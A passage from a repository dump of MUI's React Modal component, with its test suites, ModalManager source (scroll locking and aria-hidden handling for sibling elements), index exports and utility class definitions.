open: false });\n\n      expect(document.body).toHaveFocus();\n    });\n\n    it('should not focus on the modal when disableAutoFocus is true', () => {\n      render(\n        <Modal open disableAutoFocus>\n          <div>Foo</div>\n        </Modal>,\n      );\n\n      expect(initialFocus).toHaveFocus();\n    });\n\n    describe('focus stealing', () => {\n      clock.withFakeTimers();\n\n      // TODO: Unclear why this fails. Not important\n      // since a browser test gives us more confidence anyway\n      it.skipIf(isJsdom())('does not steal focus from other frames', function test() {\n        const FrameContext = React.createContext(document);\n        // by default Modal will use the document where the module! was initialized\n        // which is usually the top document\n        function FramedModal(props) {\n          const document = React.useContext(FrameContext);\n\n          return <Modal container={document.body} {...props} />;\n        }\n        // react requires some more work to get <iframe>{children}</iframe> working\n        // see \"DemoFrame\" in our docs for a documented implementation\n        function IFrame(props) {\n          const { children } = props;\n          const frameRef = React.useRef(null);\n          const [iframeLoaded, onLoad] = React.useReducer(() => true, false);\n\n          React.useEffect(() => {\n            const document = frameRef.current.contentDocument;\n\n            if (document != null && document.readyState === 'complete' && !iframeLoaded) {\n              onLoad();\n            }\n          }, [iframeLoaded]);\n\n          const document = frameRef.current?.contentDocument;\n          return (\n            <React.Fragment>\n              <iframe onLoad={onLoad} ref={frameRef} />\n              {iframeLoaded !== false\n                ? ReactDOM.createPortal(\n                    <FrameContext.Provider value={document}>{children}</FrameContext.Provider>,\n                    document.body,\n                  )\n                : null}\n            </React.Fragment>\n          );\n        }\n\n        render(\n          <React.Fragment>\n            <input data-testid=\"foreign-input\" type=\"text\" />\n            <IFrame>\n              <FramedModal open>\n                <div data-testid=\"modal\" />\n              </FramedModal>\n            </IFrame>\n          </React.Fragment>,\n        );\n\n        act(() => {\n          screen.getByTestId('foreign-input').focus();\n        });\n        // wait for the `contain` interval check to kick in.\n        clock.tick(500);\n\n        expect(screen.getByTestId('foreign-input')).toHaveFocus();\n      });\n    });\n\n    describe('when starting open and closing immediately', () => {\n      clock.withFakeTimers();\n\n      // Test case for https://github.com/mui/material-ui/issues/12831\n      it('should unmount the children', () => {\n        function TestCase() {\n          const [open, setOpen] = React.useState(true);\n\n          React.useEffect(() => {\n            setOpen(false);\n          }, []);\n\n          return (\n            <Modal open={open}>\n              {/* TODO: Look into why this test started to fail with React 19 when using a transition component as children. */}\n              {/* See: https://github.com/mui/material-ui/issues/43312 */}\n              <div id=\"modal-body\">hello</div>\n            </Modal>\n          );\n        }\n        render(<TestCase />);\n        expect(document.querySelector('#modal-body')).to.equal(null);\n      });\n    });\n  });\n\n  describe('two modal at the same time', () => {\n    clock.withFakeTimers();\n\n    it('should open and close', () => {\n      function TestCase(props) {\n        return (\n          <React.Fragment>\n            <Modal open={props.open}>\n              <div>Hello</div>\n            </Modal>\n            <Modal open={props.open}>\n              <div>World</div>\n            </Modal>\n          </React.Fragment>\n        );\n      }\n      TestCase.propTypes = {\n        open: PropTypes.bool,\n      };\n\n      const { setProps } = render(<TestCase open={false} />);\n\n      expect(document.body.style).to.have.property('overflow', '');\n\n      setProps({ open: true });\n\n      expect(document.body.style).to.have.property('overflow', 'hidden');\n\n      setProps({ open: false });\n\n      expect(document.body.style).to.have.property('overflow', '');\n    });\n\n    it('should open and close with Transitions', () => {\n      function TestCase(props) {\n        return (\n          <React.Fragment>\n            <Modal open={props.open}>\n              <Fade onEntered={props.onEntered} onExited={props.onExited} in={props.open}>\n                <div>Hello</div>\n              </Fade>\n            </Modal>\n            <Modal open={props.open}>\n              <div>World</div>\n            </Modal>\n          </React.Fragment>\n        );\n      }\n\n      const handleEntered = spy();\n      const handleExited = spy();\n      const { setProps } = render(\n        <TestCase onEntered={handleEntered} onExited={handleExited} open={false} />,\n      );\n\n      expect(document.body.style).to.have.property('overflow', '');\n\n      setProps({ open: true });\n      clock.runToLast();\n\n      expect(handleEntered.callCount).to.equal(1);\n      expect(handleExited.callCount).to.equal(0);\n      expect(document.body.style).to.have.property('overflow', 'hidden');\n\n      setProps({ open: false });\n      clock.runToLast();\n\n      expect(handleEntered.callCount).to.equal(1);\n      expect(handleExited.callCount).to.equal(1);\n      expect(document.body.style).to.have.property('overflow', '');\n    });\n  });\n\n  it('should support open abort', () => {\n    class TestCase extends React.Component {\n      state = {\n        open: true,\n      };\n\n      componentDidMount() {\n        this.setState({\n          open: false,\n        });\n      }\n\n      render() {\n        return (\n          <Modal open={this.state.open}>\n            <div>Hello</div>\n          </Modal>\n        );\n      }\n    }\n    render(<TestCase />);\n  });\n\n  describe('prop: closeAfterTransition', () => {\n    clock.withFakeTimers();\n\n    it('when true it should close after Transition has finished', () => {\n      function TestCase(props) {\n        return (\n          <Modal open={props.open} closeAfterTransition>\n            <Fade\n              onEntered={props.onEntered}\n              onExiting={props.onExiting}\n              onExited={props.onExited}\n              in={props.open}\n            >\n              <div>Hello</div>\n            </Fade>\n          </Modal>\n        );\n      }\n      const handleEntered = spy();\n      const handleExiting = spy();\n      const handleExited = spy();\n\n      const { setProps } = render(\n        <TestCase\n          onEntered={handleEntered}\n          onExiting={handleExiting}\n          onExited={handleExited}\n          open={false}\n        />,\n      );\n\n      expect(handleEntered.callCount).to.equal(0);\n      expect(handleExiting.callCount).to.equal(0);\n      expect(handleExited.callCount).to.equal(0);\n      expect(document.body.style).to.have.property('overflow', '');\n\n      setProps({ open: true });\n      clock.runToLast();\n\n      expect(handleEntered.callCount).to.equal(1);\n      expect(handleExiting.callCount).to.equal(0);\n      expect(handleExited.callCount).to.equal(0);\n      expect(document.body.style).to.have.property('overflow', 'hidden');\n\n      setProps({ open: false });\n\n      expect(handleEntered.callCount).to.equal(1);\n      expect(handleExiting.callCount).to.equal(1);\n      expect(handleExited.callCount).to.equal(0);\n      expect(document.body.style).to.have.property('overflow', 'hidden');\n\n      act(() => {\n        clock.runToLast();\n      });\n\n      expect(handleEntered.callCount).to.equal(1);\n      expect(handleExiting.callCount).to.equal(1);\n      expect(handleExited.callCount).to.equal(1);\n      expect(document.body.style).to.have.property('overflow', '');\n    });\n\n    it('when false it should close before Transition has finished', () => {\n      function TestCase(props) {\n        return (\n          <Modal open={props.open} closeAfterTransition={false}>\n            <Fade\n              onEntered={props.onEntered}\n              onExiting={props.onExiting}\n              onExited={props.onExited}\n              in={props.open}\n            >\n              <div>Hello</div>\n            </Fade>\n          </Modal>\n        );\n      }\n      const handleEntered = spy();\n      const handleExiting = spy();\n      const handleExited = spy();\n\n      const { setProps } = render(\n        <TestCase\n          onEntered={handleEntered}\n          onExiting={handleExiting}\n          onExited={handleExited}\n          open={false}\n        />,\n      );\n\n      expect(handleEntered.callCount).to.equal(0);\n      expect(handleExiting.callCount).to.equal(0);\n      expect(handleExited.callCount).to.equal(0);\n      expect(document.body.style).to.have.property('overflow', '');\n\n      setProps({ open: true });\n      clock.runToLast();\n\n      expect(handleEntered.callCount).to.equal(1);\n      expect(handleExiting.callCount).to.equal(0);\n      expect(handleExited.callCount).to.equal(0);\n      expect(document.body.style).to.have.property('overflow', 'hidden');\n\n      setProps({ open: false });\n\n      expect(handleEntered.callCount).to.equal(1);\n      expect(handleExiting.callCount).to.equal(1);\n      expect(handleExited.callCount).to.equal(0);\n      expect(document.body.style).to.have.property('overflow', '');\n\n      clock.runToLast();\n\n      expect(handleEntered.callCount).to.equal(1);\n      expect(handleExiting.callCount).to.equal(1);\n      expect(handleExited.callCount).to.equal(1);\n      expect(document.body.style).to.have.property('overflow', '');\n    });\n  });\n\n  describe('prop: container', () => {\n    it('should be able to change the container', () => {\n      function TestCase(props) {\n        const { anchorEl } = props;\n        return (\n          <Modal open={Boolean(anchorEl)} container={anchorEl}>\n            <Fade in={Boolean(anchorEl)}>\n              <div>Hello</div>\n            </Fade>\n          </Modal>\n        );\n      }\n\n      const { setProps } = render(<TestCase anchorEl={null} />);\n      setProps({ anchorEl: document.body });\n      setProps({ anchorEl: null });\n      setProps({ anchorEl: document.body });\n    });\n  });\n\n  describe('prop: disablePortal', () => {\n    it('should render the content into the parent', () => {\n      render(\n        <div data-testid=\"parent\">\n          <Modal open disablePortal>\n            <div data-testid=\"child\" />\n          </Modal>\n        </div>,\n      );\n\n      expect(within(screen.getByTestId('parent')).getByTestId('child')).not.to.equal(null);\n    });\n  });\n\n  describe('prop: slotProps.backdrop', () => {\n    it('should handle custom className', () => {\n      render(\n        <Modal\n          open\n          slotProps={{ backdrop: { className: 'custom-backdrop', 'data-testid': 'backdrop' } }}\n        >\n          <div />\n        </Modal>,\n      );\n\n      expect(screen.getByTestId('backdrop')).to.have.class('custom-backdrop');\n    });\n  });\n\n  it('should not warn when onTransitionEnter and onTransitionExited are provided', () => {\n    expect(() => {\n      render(\n        <Modal open onTransitionEnter={() => {}} onTransitionExited={() => {}}>\n          <div />\n        </Modal>,\n      );\n    }).not.toErrorDev();\n  });\n\n  it('should not override default onKeyDown', async () => {\n    const handleKeyDown = spy();\n    const handleClose = spy();\n\n    const { user } = render(\n      <Modal open onKeyDown={handleKeyDown} onClose={handleClose}>\n        <div tabIndex={-1} />\n      </Modal>,\n    );\n\n    await user.keyboard('{Escape}');\n\n    expect(handleKeyDown).to.have.property('callCount', 1);\n    expect(handleClose).to.have.property('callCount', 1);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Modal/ModalManager.test.ts",
    "content": "import { expect } from 'chai';\nimport getScrollbarSize from '@mui/utils/getScrollbarSize';\nimport { ModalManager } from './ModalManager';\n\ninterface Modal {\n  mount: Element;\n  modalRef: Element;\n}\n\nfunction getDummyModal(): Modal {\n  return {\n    mount: document.createElement('div'),\n    modalRef: document.createElement('div'),\n  };\n}\n\ndescribe('ModalManager', () => {\n  let modalManager: ModalManager;\n  let container1: HTMLDivElement;\n\n  beforeAll(() => {\n    modalManager = new ModalManager();\n    container1 = document.createElement('div');\n    container1.style.paddingRight = '20px';\n    Object.defineProperty(container1, 'scrollHeight', {\n      value: 100,\n      writable: false,\n    });\n    Object.defineProperty(container1, 'clientHeight', {\n      value: 90,\n      writable: false,\n    });\n    document.body.appendChild(container1);\n  });\n\n  afterAll(() => {\n    document.body.removeChild(container1);\n  });\n\n  it('should add a modal only once', () => {\n    const modal = getDummyModal();\n    const modalManager2 = new ModalManager();\n    const idx = modalManager2.add(modal, container1);\n    modalManager2.mount(modal, {});\n    expect(modalManager2.add(modal, container1)).to.equal(idx);\n    modalManager2.remove(modal);\n  });\n\n  describe('managing modals', () => {\n    let modal1: Modal;\n    let modal2: Modal;\n    let modal3: Modal;\n\n    beforeAll(() => {\n      modal1 = getDummyModal();\n      modal2 = getDummyModal();\n      modal3 = getDummyModal();\n    });\n\n    it('should add modal1', () => {\n      const idx = modalManager.add(modal1, container1);\n      modalManager.mount(modal1, {});\n      expect(idx).to.equal(0);\n      expect(modalManager.isTopModal(modal1)).to.equal(true);\n    });\n\n    it('should add modal2', () => {\n      const idx = modalManager.add(modal2, container1);\n      expect(idx).to.equal(1);\n      expect(modalManager.isTopModal(modal2)).to.equal(true);\n    });\n\n    it('should add modal3', () => {\n      const idx = modalManager.add(modal3, container1);\n      expect(idx).to.equal(2);\n      expect(modalManager.isTopModal(modal3)).to.equal(true);\n    });\n\n    it('should remove modal2', () => {\n      const idx = modalManager.remove(modal2);\n      expect(idx).to.equal(1);\n    });\n\n    it('should add modal2 2', () => {\n      const idx = modalManager.add(modal2, container1);\n      modalManager.mount(modal2, {});\n      expect(idx).to.equal(2);\n      expect(modalManager.isTopModal(modal2)).to.equal(true);\n      expect(modalManager.isTopModal(modal3)).to.equal(false);\n    });\n\n    it('should remove modal3', () => {\n      const idx = modalManager.remove(modal3);\n      expect(idx).to.equal(1);\n    });\n\n    it('should remove modal2 2', () => {\n      const idx = modalManager.remove(modal2);\n      expect(idx).to.equal(1);\n      expect(modalManager.isTopModal(modal1)).to.equal(true);\n    });\n\n    it('should remove modal1', () => {\n      const idx = modalManager.remove(modal1);\n      expect(idx).to.equal(0);\n    });\n\n    it('should not do anything', () => {\n      const idx = modalManager.remove(getDummyModal());\n      expect(idx).to.equal(-1);\n    });\n  });\n\n  describe('overflow', () => {\n    let fixedNode: HTMLDivElement;\n\n    beforeEach(() => {\n      container1.style.paddingRight = '20px';\n\n      fixedNode = document.createElement('div');\n      fixedNode.classList.add('mui-fixed');\n      document.body.appendChild(fixedNode);\n      window.innerWidth += 1; // simulate a scrollbar\n    });\n\n    afterEach(() => {\n      document.body.removeChild(fixedNode);\n      window.innerWidth -= 1;\n    });\n\n    it('should handle the scroll', () => {\n      fixedNode.style.paddingRight = '14.4px';\n\n      const modal = getDummyModal();\n      modalManager.add(modal, container1);\n      modalManager.mount(modal, {});\n      expect(container1.style.overflow).to.equal('hidden');\n      expect(container1.style.paddingRight).to.equal(`${20 + getScrollbarSize(window)}px`);\n      expect(fixedNode.style.paddingRight).to.equal(`${14.4 + getScrollbarSize(window)}px`);\n      modalManager.remove(modal);\n      expect(container1.style.overflow).to.equal('');\n      expect(container1.style.paddingRight).to.equal('20px');\n      expect(fixedNode.style.paddingRight).to.equal('14.4px');\n    });\n\n    it('should disable the scroll even when not overflowing', () => {\n      // simulate non-overflowing container\n      const container2 = document.createElement('div');\n      Object.defineProperty(container2, 'scrollHeight', {\n        value: 100,\n        writable: false,\n      });\n      Object.defineProperty(container2, 'clientHeight', {\n        value: 100,\n        writable: false,\n      });\n      document.body.appendChild(container2);\n\n      const modal = getDummyModal();\n      modalManager.add(modal, container2);\n      modalManager.mount(modal, {});\n      expect(container2.style.overflow).to.equal('hidden');\n      modalManager.remove(modal);\n      expect(container2.style.overflow).to.equal('');\n\n      document.body.removeChild(container2);\n    });\n\n    it('should restore styles correctly if none existed before', () => {\n      const modal = getDummyModal();\n      modalManager.add(modal, container1);\n      modalManager.mount(modal, {});\n      expect(container1.style.overflow).to.equal('hidden');\n      expect(container1.style.paddingRight).to.equal(`${20 + getScrollbarSize(window)}px`);\n      expect(fixedNode.style.paddingRight).to.equal(`${getScrollbarSize(window)}px`);\n      modalManager.remove(modal);\n      expect(container1.style.overflow).to.equal('');\n      expect(container1.style.paddingRight).to.equal('20px');\n      expect(fixedNode.style.paddingRight).to.equal('');\n    });\n\n    describe('shadow dom', () => {\n      let shadowContainer: HTMLDivElement;\n      let container2: HTMLDivElement;\n\n      beforeEach(() => {\n        shadowContainer = document.createElement('div');\n        const shadowRoot = shadowContainer.attachShadow({ mode: 'open' });\n        container2 = document.createElement('div');\n        shadowRoot.appendChild(container2);\n      });\n\n      afterEach(() => {\n        document.body.removeChild(shadowContainer);\n      });\n\n      it('should scroll body when parent is shadow root', () => {\n        const modal = getDummyModal();\n\n        container2.style.overflow = 'scroll';\n\n        document.body.appendChild(shadowContainer);\n        modalManager.add(modal, container2);\n        modalManager.mount(modal, {});\n\n        expect(container2.style.overflow).to.equal('scroll');\n        expect(document.body.style.overflow).to.equal('hidden');\n        modalManager.remove(modal);\n\n        expect(container2.style.overflow).to.equal('scroll');\n        expect(document.body.style.overflow).to.equal('');\n      });\n    });\n\n    describe('restore styles', () => {\n      let container2: HTMLDivElement;\n\n      beforeEach(() => {\n        container2 = document.createElement('div');\n      });\n\n      afterEach(() => {\n        document.body.removeChild(container2);\n      });\n\n      it('should restore styles correctly if overflow existed before', () => {\n        const modal = getDummyModal();\n\n        container2.style.overflow = 'scroll';\n\n        Object.defineProperty(container2, 'scrollHeight', {\n          value: 100,\n          writable: false,\n        });\n        Object.defineProperty(container2, 'clientHeight', {\n          value: 90,\n          writable: false,\n        });\n\n        document.body.appendChild(container2);\n        modalManager.add(modal, container2);\n        modalManager.mount(modal, {});\n\n        expect(container2.style.overflow).to.equal('hidden');\n        modalManager.remove(modal);\n\n        expect(container2.style.overflow).to.equal('scroll');\n        expect(fixedNode.style.paddingRight).to.equal('');\n      });\n\n      it('should restore styles correctly if overflow-x existed before', () => {\n        const modal = getDummyModal();\n\n        container2.style.overflowX = 'hidden';\n\n        Object.defineProperty(container2, 'scrollHeight', {\n          value: 100,\n          writable: false,\n        });\n        Object.defineProperty(container2, 'clientHeight', {\n          value: 90,\n          writable: false,\n        });\n\n        document.body.appendChild(container2);\n\n        modalManager.add(modal, container2);\n        modalManager.mount(modal, {});\n\n        expect(container2.style.overflow).to.equal('hidden');\n\n        modalManager.remove(modal);\n\n        expect(container2.style.overflow).to.equal('');\n        expect(container2.style.overflowX).to.equal('hidden');\n      });\n    });\n  });\n\n  describe('multi container', () => {\n    let container3: HTMLDivElement;\n    let container4: HTMLDivElement;\n\n    beforeEach(() => {\n      container3 = document.createElement('div');\n      document.body.appendChild(container3);\n      container3.appendChild(document.createElement('div'));\n\n      container4 = document.createElement('div');\n      document.body.appendChild(container4);\n      container4.appendChild(document.createElement('div'));\n    });\n\n    it('should work will multiple containers', () => {\n      modalManager = new ModalManager();\n      const modal1 = getDummyModal();\n      const modal2 = getDummyModal();\n      modalManager.add(modal1, container3);\n      modalManager.mount(modal1, {});\n      expect(container3.children[0]).toBeInaccessible();\n\n      modalManager.add(modal2, container4);\n      modalManager.mount(modal2, {});\n      expect(container4.children[0]).toBeInaccessible();\n\n      modalManager.remove(modal2);\n      expect(container4.children[0]).not.toBeInaccessible();\n\n      modalManager.remove(modal1);\n      expect(container3.children[0]).not.toBeInaccessible();\n    });\n\n    afterEach(() => {\n      document.body.removeChild(container3);\n      document.body.removeChild(container4);\n    });\n  });\n\n  describe('container aria-hidden', () => {\n    let modalRef1;\n    let container2: HTMLDivElement;\n\n    beforeEach(() => {\n      container2 = document.createElement('div');\n      document.body.appendChild(container2);\n\n      modalRef1 = document.createElement('div');\n      container2.appendChild(modalRef1);\n\n      modalManager = new ModalManager();\n    });\n\n    afterEach(() => {\n      document.body.removeChild(container2);\n    });\n\n    it('should not contain aria-hidden on modal', () => {\n      const modal2 = document.createElement('div');\n      modal2.setAttribute('aria-hidden', 'true');\n\n      expect(modal2).toBeInaccessible();\n      modalManager.add({ ...getDummyModal(), modalRef: modal2 }, container2);\n      expect(modal2).not.toBeInaccessible();\n    });\n\n    it('should add aria-hidden to container siblings', () => {\n      const secondSibling = document.createElement('input');\n      container2.appendChild(secondSibling);\n      modalManager.add(getDummyModal(), container2);\n      expect(container2.children[0]).toBeInaccessible();\n      expect(container2.children[1]).toBeInaccessible();\n    });\n\n    it('should not add aria-hidden to forbidden container siblings', () => {\n      [\n        'template',\n        'script',\n        'style',\n        'link',\n        'map',\n        'meta',\n        'noscript',\n        'picture',\n        'col',\n        'colgroup',\n        'param',\n        'slot',\n        'source',\n        'track',\n      ].forEach(function createBlacklistSiblings(name) {\n        const sibling = document.createElement(name);\n        container2.appendChild(sibling);\n      });\n      const inputHiddenSibling = document.createElement('input');\n      inputHiddenSibling.setAttribute('type', 'hidden');\n      container2.appendChild(inputHiddenSibling);\n\n      const numberOfChildren = 16;\n      expect(container2.children.length).equal(numberOfChildren);\n\n      modalManager.add(getDummyModal(), container2);\n      expect(container2.children[0]).toBeInaccessible();\n      for (let i = 1; i < numberOfChildren; i += 1) {\n        expect(container2.children[i].getAttribute('aria-hidden')).to.equal(null);\n      }\n    });\n\n    it('should add aria-hidden to previous modals', () => {\n      const modal2 = document.createElement('div');\n      const modal3 = document.createElement('div');\n\n      container2.appendChild(modal2);\n      container2.appendChild(modal3);\n\n      modalManager.add({ ...getDummyModal(), modalRef: modal2 }, container2);\n      // Simulate the main React DOM true.\n      expect(container2.children[0]).toBeInaccessible();\n      expect(container2.children[1]).not.toBeInaccessible();\n\n      modalManager.add({ ...getDummyModal(), modalRef: modal3 }, container2);\n      expect(container2.children[0]).toBeInaccessible();\n      expect(container2.children[1]).toBeInaccessible();\n      expect(container2.children[2]).not.toBeInaccessible();\n    });\n\n    it('should remove aria-hidden on siblings', () => {\n      const modal = { ...getDummyModal(), modalRef: container2.children[0] };\n\n      modalManager.add(modal, container2);\n      modalManager.mount(modal, {});\n      expect(container2.children[0]).not.toBeInaccessible();\n      modalManager.remove(modal);\n      expect(container2.children[0]).toBeInaccessible();\n    });\n\n    it('should keep previous aria-hidden siblings hidden', () => {\n      const modal = { ...getDummyModal(), modalRef: container2.children[0] };\n      const sibling1 = document.createElement('div');\n      const sibling2 = document.createElement('div');\n\n      sibling1.setAttribute('aria-hidden', 'true');\n\n      container2.appendChild(sibling1);\n      container2.appendChild(sibling2);\n\n      modalManager.add(modal, container2);\n      modalManager.mount(modal, {});\n      expect(container2.children[0]).not.toBeInaccessible();\n      modalManager.remove(modal);\n      expect(container2.children[0]).toBeInaccessible();\n      expect(container2.children[1]).toBeInaccessible();\n      expect(container2.children[2]).not.toBeInaccessible();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Modal/ModalManager.ts",
    "content": "import ownerWindow from '@mui/utils/ownerWindow';\nimport ownerDocument from '@mui/utils/ownerDocument';\nimport getScrollbarSize from '@mui/utils/getScrollbarSize';\n\nexport interface ManagedModalProps {\n  disableScrollLock?: boolean | undefined;\n}\n\n// Is a vertical scrollbar displayed?\nfunction isOverflowing(container: Element): boolean {\n  const doc = ownerDocument(container);\n\n  if (doc.body === container) {\n    return ownerWindow(container).innerWidth > doc.documentElement.clientWidth;\n  }\n\n  return container.scrollHeight > container.clientHeight;\n}\n\nexport function ariaHidden(element: Element, hide: boolean): void {\n  if (hide) {\n    element.setAttribute('aria-hidden', 'true');\n  } else {\n    element.removeAttribute('aria-hidden');\n  }\n}\n\nfunction getPaddingRight(element: Element): number {\n  return parseFloat(ownerWindow(element).getComputedStyle(element).paddingRight) || 0;\n}\n\nfunction isAriaHiddenForbiddenOnElement(element: Element): boolean {\n  // The forbidden HTML tags are the ones from ARIA specification that\n  // can be children of body and can't have aria-hidden attribute.\n  // cf. https://www.w3.org/TR/html-aria/#docconformance\n  const forbiddenTagNames = [\n    'TEMPLATE',\n    'SCRIPT',\n    'STYLE',\n    'LINK',\n    'MAP',\n    'META',\n    'NOSCRIPT',\n    'PICTURE',\n    'COL',\n    'COLGROUP',\n    'PARAM',\n    'SLOT',\n    'SOURCE',\n    'TRACK',\n  ];\n  const isForbiddenTagName = forbiddenTagNames.includes(element.tagName);\n  const isInputHidden = element.tagName === 'INPUT' && element.getAttribute('type') === 'hidden';\n  return isForbiddenTagName || isInputHidden;\n}\n\nfunction ariaHiddenSiblings(\n  container: Element,\n  mountElement: Element,\n  currentElement: Element,\n  elementsToExclude: readonly Element[],\n  hide: boolean,\n): void {\n  const blacklist = [mountElement, currentElement, ...elementsToExclude];\n\n  [].forEach.call(container.children, (element: Element) => {\n    const isNotExcludedElement = !blacklist.includes(element);\n    const isNotForbiddenElement = !isAriaHiddenForbiddenOnElement(element);\n    if (isNotExcludedElement && isNotForbiddenElement) {\n      ariaHidden(element, hide);\n    }\n  });\n}\n\nfunction findIndexOf<T>(items: readonly T[], callback: (item: T) => boolean): number {\n  let idx = -1;\n  items.some((item, index) => {\n    if (callback(item)) {\n      idx = index;\n      return true;\n    }\n    return false;\n  });\n  return idx;\n}\n\nfunction handleContainer(containerInfo: Container, props: ManagedModalProps) {\n  const restoreStyle: Array<{\n    /**\n     * CSS property name (HYPHEN CASE) to be modified.\n     */\n    property: string;\n    el: HTMLElement | SVGElement;\n    value: string;\n  }> = [];\n  const container = containerInfo.container;\n\n  if (!props.disableScrollLock) {\n    if (isOverflowing(container)) {\n      // Compute the size before applying overflow hidden to avoid any scroll jumps.\n      const scrollbarSize = getScrollbarSize(ownerWindow(container));\n\n      restoreStyle.push({\n        value: container.style.paddingRight,\n        property: 'padding-right',\n        el: container,\n      });\n      // Use computed style, here to get the real padding to add our scrollbar width.\n      container.style.paddingRight = `${getPaddingRight(container) + scrollbarSize}px`;\n\n      // .mui-fixed is a global helper.\n      const fixedElements = ownerDocument(container).querySelectorAll('.mui-fixed');\n      [].forEach.call(fixedElements, (element: HTMLElement | SVGElement) => {\n        restoreStyle.push({\n          value: element.style.paddingRight,\n          property: 'padding-right',\n          el: element,\n        });\n        element.style.paddingRight = `${getPaddingRight(element) + scrollbarSize}px`;\n      });\n    }\n\n    let scrollContainer: HTMLElement;\n\n    if (container.parentNode instanceof DocumentFragment) {\n      scrollContainer = ownerDocument(container).body;\n    } else {\n      // Support html overflow-y: auto for scroll stability between pages\n      // https://css-tricks.com/snippets/css/force-vertical-scrollbar/\n      const parent = container.parentElement;\n      const containerWindow = ownerWindow(container);\n      scrollContainer =\n        parent?.nodeName === 'HTML' &&\n        containerWindow.getComputedStyle(parent).overflowY === 'scroll'\n          ? parent\n          : container;\n    }\n\n    // Block the scroll even if no scrollbar is visible to account for mobile keyboard\n    // screensize shrink.\n    restoreStyle.push(\n      {\n        value: scrollContainer.style.overflow,\n        property: 'overflow',\n        el: scrollContainer,\n      },\n      {\n        value: scrollContainer.style.overflowX,\n        property: 'overflow-x',\n        el: scrollContainer,\n      },\n      {\n        value: scrollContainer.style.overflowY,\n        property: 'overflow-y',\n        el: scrollContainer,\n      },\n    );\n\n    scrollContainer.style.overflow = 'hidden';\n  }\n\n  const restore = () => {\n    restoreStyle.forEach(({ value, el, property }) => {\n      if (value) {\n        el.style.setProperty(property, value);\n      } else {\n        el.style.removeProperty(property);\n      }\n    });\n  };\n\n  return restore;\n}\n\nfunction getHiddenSiblings(container: Element) {\n  const hiddenSiblings: Element[] = [];\n  [].forEach.call(container.children, (element: Element) => {\n    if (element.getAttribute('aria-hidden') === 'true') {\n      hiddenSiblings.push(element);\n    }\n  });\n  return hiddenSiblings;\n}\n\ninterface Modal {\n  mount: Element;\n  modalRef: Element;\n}\n\ninterface Container {\n  container: HTMLElement;\n  hiddenSiblings: Element[];\n  modals: Modal[];\n  restore: null | (() => void);\n}\n\n/**\n * @ignore - do not document.\n *\n * Proper state management for containers and the modals in those containers.\n * Simplified, but inspired by react-overlay's ModalManager class.\n * Used by the Modal to ensure proper styling of containers.\n */\nexport class ModalManager {\n  private containers: Container[];\n\n  private modals: Modal[];\n\n  constructor() {\n    this.modals = [];\n    this.containers = [];\n  }\n\n  add(modal: Modal, container: HTMLElement): number {\n    let modalIndex = this.modals.indexOf(modal);\n    if (modalIndex !== -1) {\n      return modalIndex;\n    }\n\n    modalIndex = this.modals.length;\n    this.modals.push(modal);\n\n    // If the modal we are adding is already in the DOM.\n    if (modal.modalRef) {\n      ariaHidden(modal.modalRef, false);\n    }\n\n    const hiddenSiblings = getHiddenSiblings(container);\n    ariaHiddenSiblings(container, modal.mount, modal.modalRef, hiddenSiblings, true);\n\n    const containerIndex = findIndexOf(this.containers, (item) => item.container === container);\n    if (containerIndex !== -1) {\n      this.containers[containerIndex].modals.push(modal);\n      return modalIndex;\n    }\n\n    this.containers.push({\n      modals: [modal],\n      container,\n      restore: null,\n      hiddenSiblings,\n    });\n\n    return modalIndex;\n  }\n\n  mount(modal: Modal, props: ManagedModalProps): void {\n    const containerIndex = findIndexOf(this.containers, (item) => item.modals.includes(modal));\n    const containerInfo = this.containers[containerIndex];\n\n    if (!containerInfo.restore) {\n      containerInfo.restore = handleContainer(containerInfo, props);\n    }\n  }\n\n  remove(modal: Modal, ariaHiddenState = true): number {\n    const modalIndex = this.modals.indexOf(modal);\n\n    if (modalIndex === -1) {\n      return modalIndex;\n    }\n\n    const containerIndex = findIndexOf(this.containers, (item) => item.modals.includes(modal));\n    const containerInfo = this.containers[containerIndex];\n\n    containerInfo.modals.splice(containerInfo.modals.indexOf(modal), 1);\n    this.modals.splice(modalIndex, 1);\n\n    // If that was the last modal in a container, clean up the container.\n    if (containerInfo.modals.length === 0) {\n      // The modal might be closed before it had the chance to be mounted in the DOM.\n      if (containerInfo.restore) {\n        containerInfo.restore();\n      }\n\n      if (modal.modalRef) {\n        // In case the modal wasn't in the DOM yet.\n        ariaHidden(modal.modalRef, ariaHiddenState);\n      }\n\n      ariaHiddenSiblings(\n        containerInfo.container,\n        modal.mount,\n        modal.modalRef,\n        containerInfo.hiddenSiblings,\n        false,\n      );\n      this.containers.splice(containerIndex, 1);\n    } else {\n      // Otherwise make sure the next top modal is visible to a screen reader.\n      const nextTop = containerInfo.modals[containerInfo.modals.length - 1];\n      // as soon as a modal is adding its modalRef is undefined. it can't set\n      // aria-hidden because the dom element doesn't exist either\n      // when modal was unmounted before modalRef gets null\n      if (nextTop.modalRef) {\n        ariaHidden(nextTop.modalRef, false);\n      }\n    }\n\n    return modalIndex;\n  }\n\n  isTopModal(modal: Modal): boolean {\n    return this.modals.length > 0 && this.modals[this.modals.length - 1] === modal;\n  }\n}\n"
  },
  {
    "path": "packages/mui-material/src/Modal/index.d.ts",
    "content": "export { ModalManager } from './ModalManager';\n\nexport { default } from './Modal';\nexport * from './Modal';\n\nexport { default as modalClasses } from './modalClasses';\nexport * from './modalClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Modal/index.js",
    "content": "export { ModalManager } from './ModalManager';\n\nexport { default } from './Modal';\n\nexport { default as modalClasses } from './modalClasses';\nexport * from './modalClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Modal/modalClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ModalClasses {\n  /** Class name applied to the root element. */\n  root: string;\n  /** Class name applied to the root element if the `Modal` has exited. */\n  hidden: string;\n  /** Class name applied to the backdrop element. */\n  backdrop: string;\n}\n\nexport type ModalClassKey = keyof ModalClasses;\n\nexport function getModalUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiModal', slot);\n}\n\nconst modalClasses: ModalClasses = generateUtilityClasses('MuiModal', [\n  'root',\n  'hidden',\n  'backdrop',\n]);\n\nexport default modalClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Modal/useModal.ts",
